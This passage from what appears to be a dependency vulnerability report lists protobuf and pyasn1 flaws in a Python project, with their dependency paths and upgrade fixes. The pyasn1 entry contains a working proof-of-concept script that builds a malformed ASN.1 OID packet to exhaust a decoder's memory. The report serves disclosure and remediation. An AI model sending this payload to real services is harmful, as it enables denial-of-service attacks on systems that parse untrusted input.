    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › googleapis-common-protos@1.73.0 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › proto-plus@1.27.1 › protobuf@4.24.4
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion when parsing untrusted Protocol Buffers data containing an excessive number of recursive groups, recursive messages, or a series of SGROUP tags. An attacker can provide crafted input that will corrupt the backend by exceeding the Python recursion limit and result in denial of service by crashing the application with a RecursionError.

Note: This problem impacts only the pure-Python implementation of the protobuf-python backend and does not influence the CPython PyPi wheels, which, by default, do not utilize pure Python.

Remediation

Upgrade protobuf to version 4.25.8, 5.29.5, 6.31.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the valueDecoder function in decoder.py. An attacker can cause memory exhaustion by submitting a malformed RELATIVE-OID containing excessive continuation octets.

PoC

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")

Remediation

Upgrade pyasn1 to version 0.6.2 or higher.

References

high severity

Excessive Iteration

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Excessive Iteration via the BER decoder, which is also used by the CER and DER codecs, when parsing long-form tag IDs without an upper bound. An attacker can exhaust system resources and potentially trigger unhandled exceptions by submitting specially crafted ASN.1 input with excessively large tag IDs.

Remediation

Upgrade pyasn1 to version 0.6.4 or higher.

References

high severity

Incorrect Conversion between Numeric Types

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
